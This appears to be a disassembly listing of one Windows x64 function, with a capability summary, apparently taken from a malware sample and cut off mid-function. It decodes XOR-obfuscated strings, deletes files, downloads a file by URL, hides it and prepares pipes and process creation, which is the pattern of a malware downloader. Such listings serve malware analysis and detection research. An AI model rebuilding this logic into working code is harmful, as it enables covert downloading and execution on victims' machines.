Function at 0x140064dd0
Capabilities:
Check if file exists
Create pipe
Create process on windows
Delete file
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
xor r9d, r9d
mov dword [rbp + 0x320], r9d
movdqa xmm1, xmmword [0x140112ac0]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [0x1401120b0]
movdqu xmmword [rbp - 0x68], xmm2
xor dl, dl
xor r8b, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor byte [rbp - 0x70], cl
xor byte [rbp - 0x6f], cl
xor byte [rbp - 0x6e], cl
xor byte [rbp - 0x6d], cl
xor byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], cl
xor byte [rbp - 0x6a], cl
xor byte [rbp - 0x69], cl
movd eax, xmm2
xor al, cl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], cl
xor byte [rbp - 0x66], cl
xor byte [rbp - 0x65], cl
xor byte [rbp - 0x64], cl
xor byte [rbp - 0x63], cl
xor byte [rbp - 0x62], cl
xor byte [rbp - 0x61], cl
xor byte [rbp - 0x60], cl
xor byte [rbp - 0x5f], cl
xor byte [rbp - 0x5e], cl
xor byte [rbp - 0x5d], cl
xor byte [rbp - 0x5c], cl
xor byte [rbp - 0x5b], cl
xor byte [rbp - 0x5a], cl
xor byte [rbp - 0x59], cl
xor dl, cl
mov byte [rbp - 0x58], dl
xor r8b, cl
mov byte [rbp - 0x57], r8b
mov byte [rbp - 0x56], r9b
mov ecx, r9d
lea r13, [0x14075f770]
nop dword [rax]
movzx eax, byte [rbp + rcx - 0x77]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140064eb0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r9d
mov dword [0x14075fe8c], r9d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r9d
lea rax, [0x14010706a]
mov qword [0x14075f768], rax
call fcn.140051580
mov qword [rbp + 0x320], 1
lea rcx, [rbp + 0x320]
call fcn.1400718b0
movdqa xmm1, xmmword [0x140112490]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401124c0]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140112ff0]
movdqu xmmword [rsp + 0x70], xmm3
mov dl, 0x33
mov r8b, reloc.WLDAP32.dll_Ordinal_46
movzx r9d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor dl, cl
mov byte [rbp - 0x80], dl
xor r8b, cl
mov byte [rbp - 0x7f], r8b
xor r9b, cl
mov byte [rbp - 0x7e], r9b
mov byte [rbp - 0x7d], 0
lea rax, [rsp + 0x51]
mov qword [rbp - 0x20], rax
movdqa xmm1, xmmword [0x140113050]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm2, xmmword [str.h___QnbckdjQ_J]
movdqu xmmword [rbp - 0x68], xmm2
mov cl, 0x6c
mov r8b, 0x7d
mov r9b, 0x65
mov r10b, 0x64
mov r11b, WSAGetLastError
mov bl, 0x7e
mov dil, reloc.WLDAP32.dll_Ordinal_35
mov sil, 0x68
mov r14b, 0x75
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp - 0x77], al
xor byte [rbp - 0x76], dl
xor byte [rbp - 0x75], dl
xor byte [rbp - 0x74], dl
xor byte [rbp - 0x73], dl
xor byte [rbp - 0x72], dl
xor byte [rbp - 0x71], dl
xor byte [rbp - 0x70], dl
xor byte [rbp - 0x6f], dl
xor byte [rbp - 0x6e], dl
xor byte [rbp - 0x6d], dl
xor byte [rbp - 0x6c], dl
xor byte [rbp - 0x6b], dl
xor byte [rbp - 0x6a], dl
xor byte [rbp - 0x69], dl
movd eax, xmm2
xor al, dl
mov byte [rbp - 0x68], al
xor byte [rbp - 0x67], dl
xor byte [rbp - 0x66], dl
xor byte [rbp - 0x65], dl
xor byte [rbp - 0x64], dl
xor byte [rbp - 0x63], dl
xor byte [rbp - 0x62], dl
xor byte [rbp - 0x61], dl
xor byte [rbp - 0x60], dl
xor byte [rbp - 0x5f], dl
xor byte [rbp - 0x5e], dl
xor byte [rbp - 0x5d], dl
xor byte [rbp - 0x5c], dl
xor byte [rbp - 0x5b], dl
xor byte [rbp - 0x5a], dl
xor byte [rbp - 0x59], dl
xor cl, dl
mov byte [rbp - 0x58], cl
xor r8b, dl
mov byte [rbp - 0x57], r8b
xor r9b, dl
mov byte [rbp - 0x56], r9b
xor r10b, dl
mov byte [rbp - 0x55], r10b
xor r11b, dl
mov byte [rbp - 0x54], r11b
xor bl, dl
mov byte [rbp - 0x53], bl
xor dil, dl
mov byte [rbp - 0x52], dil
xor sil, dl
mov byte [rbp - 0x51], sil
xor r14b, dl
mov byte [rbp - 0x50], r14b
xor r15b, dl
mov byte [rbp - 0x4f], r15b
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x77]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x50]
call fcn.140069410
nop
mov r15, qword [rbp + 0x50]
mov rbx, r15
mov rsi, qword [rbp + 0x58]
cmp r15, rsi
je 0x140065197
nop
mov rdi, qword [rbx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14006518e
test al, 0x10
jne 0x14006518e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
add rbx, 8
cmp rbx, rsi
jne 0x140065170
movdqa xmm1, xmmword [0x1401126b0]
movdqu xmmword [rbp], xmm1
movdqa xmm2, xmmword [0x140112630]
movdqu xmmword [rbp + 0x10], xmm2
mov dl, 2
mov r8b, Ordinal_41
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 1], al
xor byte [rbp + 2], cl
xor byte [rbp + 3], cl
xor byte [rbp + 4], cl
xor byte [rbp + 5], cl
xor byte [rbp + 6], cl
xor byte [rbp + 7], cl
xor byte [rbp + 8], cl
xor byte [rbp + 9], cl
xor byte [rbp + 0xa], cl
xor byte [rbp + 0xb], cl
xor byte [rbp + 0xc], cl
xor byte [rbp + 0xd], cl
xor byte [rbp + 0xe], cl
xor byte [rbp + 0xf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x10], al
xor byte [rbp + 0x11], cl
xor byte [rbp + 0x12], cl
xor byte [rbp + 0x13], cl
xor byte [rbp + 0x14], cl
xor byte [rbp + 0x15], cl
xor byte [rbp + 0x16], cl
xor byte [rbp + 0x17], cl
xor byte [rbp + 0x18], cl
xor byte [rbp + 0x19], cl
xor byte [rbp + 0x1a], cl
xor byte [rbp + 0x1b], cl
xor byte [rbp + 0x1c], cl
xor byte [rbp + 0x1d], cl
xor byte [rbp + 0x1e], cl
xor byte [rbp + 0x1f], cl
xor dl, cl
mov byte [rbp + 0x20], dl
xor r8b, cl
mov byte [rbp + 0x21], r8b
mov byte [rbp + 0x22], 0
lea rdx, [rbp + 1]
lea rcx, [rbp + 0x28]
call fcn.140050ae0
nop
mov byte [rbp + 0x320], 2
mov al, 0x30
mov cl, reloc.WLDAP32.dll_Ordinal_50
movzx edx, cl
xor r8d, r8d
xor al, 2
mov byte [rbp + 0x321], al
xor cl, 2
mov byte [rbp + 0x322], cl
xor dl, 2
mov byte [rbp + 0x323], dl
mov byte [rbp + 0x324], r8b
mov byte [rbp - 0x20], reloc.WS2_32.dll_WSAStartup
xor al, al
mov cl, 7
mov dl, reloc.WS2_32.dll_select
movzx r8d, cl
mov r9b, 6
xor r10b, r10b
mov r11b, Ordinal_45
mov bl, reloc.WS2_32.dll_recv
mov dil, Ordinal_30
mov sil, reloc.WS2_32.dll_socket
mov r14b, reloc.WLDAP32.dll_Ordinal_22
xor r12d, r12d
xor al, 0x73
mov byte [rbp - 0x1f], al
xor cl, 0x73
mov byte [rbp - 0x1e], cl
xor dl, 0x73
mov byte [rbp - 0x1d], dl
xor r8b, 0x73
mov byte [rbp - 0x1c], r8b
xor r9b, 0x73
mov byte [rbp - 0x1b], r9b
xor r10b, 0x73
mov byte [rbp - 0x1a], r10b
xor r11b, 0x73
mov byte [rbp - 0x19], r11b
xor bl, 0x73
mov byte [rbp - 0x18], bl
xor dil, 0x73
mov byte [rbp - 0x17], dil
xor sil, 0x73
mov byte [rbp - 0x16], sil
xor r14b, 0x73
mov byte [rbp - 0x15], r14b
mov byte [rbp - 0x14], r12b
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea rax, [rbp - 0x1f]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rax + r8], 0
jne 0x140065311
lea rdx, [rbp - 0x1f]
lea rcx, [rbp - 0x78]
call fcn.140073520
nop
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp + 0x321]
mov rax, r12
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140065350
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140065367
mov rcx, qword [rcx]
cmp r8, rax
jne 0x140065380
lea rdx, [rbp + 0x321]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140065380
xor bl, bl
jmp 0x140065382
mov bl, 1
lea rcx, [rbp - 0x78]
call fcn.140049850
test bl, bl
je 0x140065501
movdqa xmm1, xmmword [0x1401125a0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112530]
movdqu xmmword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x1401126e0]
movdqu xmmword [rsp + 0x70], xmm3
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm3
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
mov byte [rbp - 0x80], 0
xor r12d, r12d
mov ecx, r12d
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x51]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400654b0
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea rax, [0x14010e5a0]
mov qword [0x14075f768], rax
jmp 0x14006612c
movdqa xmm1, xmmword [0x1401127b0]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140112810]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x2f
mov r8b, 0x3e
mov r9b, 0x26
mov r10b, Ordinal_41
mov r11b, reloc.WLDAP32.dll_Ordinal_45
mov bl, 0x3d
mov dil, 0x60
mov sil, Ordinal_45
mov r14b, 0x36
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov byte [rbp + 0x320], Ordinal_50
mov al, 0x45
mov cl, 0x54
mov dl, 0x49
movzx r8d, al
xor r9d, r9d
xor al, 0x31
mov byte [rbp + 0x321], al
xor cl, 0x31
mov byte [rbp + 0x322], cl
xor dl, 0x31
mov byte [rbp + 0x323], dl
xor r8b, 0x31
mov byte [rbp + 0x324], r8b
mov byte [rbp + 0x325], r9b
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea rax, [rbp + 0x321]
inc r12
cmp byte [rax + r12], r9b
jne 0x140065676
mov r8, r12
lea rdx, [rbp + 0x321]
lea rcx, [rbp - 0x20]
call fcn.140073520
nop
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x28]
call fcn.140072460
mov rdx, qword [rax]
add rdx, 0x40
cmp qword [rdx + 0x18], 0xf
jbe 0x1400656b5
mov rdx, qword [rdx]
xor r12d, r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rsp + 0x51]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14006570d
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065708
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400ed628
test ebx, ebx
je 0x1400657e3
mov edx, 1
lea rcx, [rbp + 0xe0]
call fcn.14006ac50
nop
mov byte [rbp - 0x20], 0x6b
mov al, reloc.WS2_32.dll_ntohl
mov cl, Ordinal_26
movzx edx, cl
mov r8b, 4
movzx r9d, cl
mov r10b, 0x4b
mov r11b, 0x5b
mov bl, reloc.WS2_32.dll_send
xor edi, edi
xor al, 0x6b
mov byte [rbp - 0x1f], al
xor cl, 0x6b
mov byte [rbp - 0x1e], cl
xor dl, 0x6b
mov byte [rbp - 0x1d], dl
xor r8b, 0x6b
mov byte [rbp - 0x1c], r8b
xor r9b, 0x6b
mov byte [rbp - 0x1b], r9b
xor r10b, 0x6b
mov byte [rbp - 0x1a], r10b
xor r11b, 0x6b
mov byte [rbp - 0x19], r11b
xor bl, 0x6b
mov byte [rbp - 0x18], bl
mov byte [rbp - 0x17], dil
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14006abd0
mov rcx, rax
call fcn.140049830
mov rcx, rax
lea r8, [0x14010e5a0]
lea rdx, [0x14010e59c]
call fcn.14004e590
lea rcx, [rbp - 0x40]
call fcn.140049840
lea ecx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
movdqa xmm1, xmmword [0x140113120]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x140113000]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x6b
mov r8b, 0x7a
mov r9b, 0x62
mov r10b, 0x63
mov r11b, 0x69
mov bl, 0x79
mov dil, 0x24
mov sil, reloc.WS2_32.dll_WSAGetLastError
mov r14b, WSAStartup
movzx r15d, sil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], dl
xor byte [rsp + 0x53], dl
xor byte [rsp + 0x54], dl
xor byte [rsp + 0x55], dl
xor byte [rsp + 0x56], dl
xor byte [rsp + 0x57], dl
xor byte [rsp + 0x58], dl
xor byte [rsp + 0x59], dl
xor byte [rsp + 0x5a], dl
xor byte [rsp + 0x5b], dl
xor byte [rsp + 0x5c], dl
xor byte [rsp + 0x5d], dl
xor byte [rsp + 0x5e], dl
xor byte [rsp + 0x5f], dl
movd eax, xmm2
xor al, dl
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], dl
xor byte [rsp + 0x62], dl
xor byte [rsp + 0x63], dl
xor byte [rsp + 0x64], dl
xor byte [rsp + 0x65], dl
xor byte [rsp + 0x66], dl
xor byte [rsp + 0x67], dl
xor byte [rsp + 0x68], dl
xor byte [rsp + 0x69], dl
xor byte [rsp + 0x6a], dl
xor byte [rsp + 0x6b], dl
xor byte [rsp + 0x6c], dl
xor byte [rsp + 0x6d], dl
xor byte [rsp + 0x6e], dl
xor byte [rsp + 0x6f], dl
xor cl, dl
mov byte [rsp + 0x70], cl
xor r8b, dl
mov byte [rsp + 0x71], r8b
xor r9b, dl
mov byte [rsp + 0x72], r9b
xor r10b, dl
mov byte [rsp + 0x73], r10b
xor r11b, dl
mov byte [rsp + 0x74], r11b
xor bl, dl
mov byte [rsp + 0x75], bl
xor dil, dl
mov byte [rsp + 0x76], dil
xor sil, dl
mov byte [rsp + 0x77], sil
xor r14b, dl
mov byte [rsp + 0x78], r14b
xor r15b, dl
mov byte [rsp + 0x79], r15b
mov byte [rsp + 0x7a], 0
mov edx, 2
lea rcx, [rsp + 0x51]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x14006591c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rax, [0x140111b50]
mov qword [rbp + 0x1e0], rax
lea rax, [0x140111300]
mov qword [rbp + 0x1f0], rax
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 1
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x260], r12
mov dword [rbp + 0x268], r12d
movdqa xmm1, xmmword [0x140112a80]
movdqu xmmword [rsp + 0x50], xmm1
movdqa xmm2, xmmword [0x1401129e0]
movdqu xmmword [rsp + 0x60], xmm2
mov cl, 0x53
mov dl, 0x42
mov r9b, 0x5a
mov r10b, 0x5b
mov r11b, 0x51
mov bl, 0x41
mov dil, Ordinal_30
mov sil, 0x57
mov r14b, 0x4a
movzx r15d, sil
mov r12b, reloc.WS2_32.dll_select
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x51], al
xor byte [rsp + 0x52], r8b
xor byte [rsp + 0x53], r8b
xor byte [rsp + 0x54], r8b
xor byte [rsp + 0x55], r8b
xor byte [rsp + 0x56], r8b
xor byte [rsp + 0x57], r8b
xor byte [rsp + 0x58], r8b
xor byte [rsp + 0x59], r8b
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x60], al
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
xor byte [rsp + 0x68], r8b
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor cl, r8b
mov byte [rsp + 0x70], cl
xor dl, r8b
mov byte [rsp + 0x71], dl
xor r9b, r8b
mov byte [rsp + 0x72], r9b
xor r10b, r8b
mov byte [rsp + 0x73], r10b
xor r11b, r8b
mov byte [rsp + 0x74], r11b
xor bl, r8b
mov byte [rsp + 0x75], bl
xor dil, r8b
mov byte [rsp + 0x76], dil
xor sil, r8b
mov byte [rsp + 0x77], sil
xor r14b, r8b
mov byte [rsp + 0x78], r14b
xor r15b, r8b
mov byte [rsp + 0x79], r15b
xor r12b, r8b
mov byte [rsp + 0x7a], r12b
mov byte [rsp + 0x7b], 0
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x1f0]
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f900]
call fcn.140071310
mov byte [rbp + 0x320], Ordinal_45
mov cl, 0xa
xor edx, edx
xor cl, 0x2a
mov byte [rbp + 0x321], cl
mov byte [rbp + 0x322], dl
lea rdx, [rbp + 0x321]
mov rcx, rax
call fcn.140071310
mov rcx, rax
lea rdx, [0x14075f880]
call fcn.140071310
movdqa xmm1, xmmword [str.___7r]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd ecx, xmm0
movd edx, xmm1
xor cl, dl
mov byte [rbp - 0x1f], cl
xor byte [rbp - 0x1e], dl
xor byte [rbp - 0x1d], dl
xor byte [rbp - 0x1c], dl
xor byte [rbp - 0x1b], dl
xor byte [rbp - 0x1a], dl
xor byte [rbp - 0x19], dl
xor byte [rbp - 0x18], dl
xor byte [rbp - 0x17], dl
xor byte [rbp - 0x16], dl
xor byte [rbp - 0x15], dl
xor byte [rbp - 0x14], dl
xor byte [rbp - 0x13], dl
xor byte [rbp - 0x12], dl
mov byte [rbp - 0x11], 0
lea rdx, [rbp - 0x1f]
mov rcx, rax
call fcn.140071310
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x48], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm1
movups xmmword [rbp + 0x90], xmm1
movups xmmword [rbp + 0xa0], xmm1
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm1
mov qword [rbp + 0xd0], rax
mov dword [rbp - 0x78], Ordinal_26
xor r12d, r12d
mov qword [rbp - 0x70], r12
mov dword [rbp - 0x68], 1
xor r9d, r9d
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x328]
lea rcx, [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea r14, [0x14010e5a0]
test eax, eax
jne 0x140065d6e
movdqa xmm1, xmmword [0x1401130e0]
movdqu xmmword [rbp - 0x40], xmm1
mov cl, 0x33
mov dl, reloc.WS2_32.dll_WSASetLastError
mov r8b, 0x61
mov r10b, 0x76
mov r11b, WSAStartup
mov bl, 0x67
movzx edi, r10b
movzx esi, cl
mov r14b, 0x63
mov r15b, 0x7a
movzx r12d, r14b
movzx r13d, r10b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor byte [rbp - 0x38], r9b
xor byte [rbp - 0x37], r9b
xor byte [rbp - 0x36], r9b
xor byte [rbp - 0x35], r9b
xor byte [rbp - 0x34], r9b
xor byte [rbp - 0x33], r9b
xor byte [rbp - 0x32], r9b
xor byte [rbp - 0x31], r9b
xor cl, r9b
mov byte [rbp - 0x30], cl
xor dl, r9b
mov byte [rbp - 0x2f], dl
xor r8b, r9b
mov byte [rbp - 0x2e], r8b
xor r10b, r9b
mov byte [rbp - 0x2d], r10b
xor r11b, r9b
mov byte [rbp - 0x2c], r11b
xor bl, r9b
mov byte [rbp - 0x2b], bl
xor dil, r9b
mov byte [rbp - 0x2a], dil
xor sil, r9b
mov byte [rbp - 0x29], sil
xor r14b, r9b
mov byte [rbp - 0x28], r14b
xor r15b, r9b
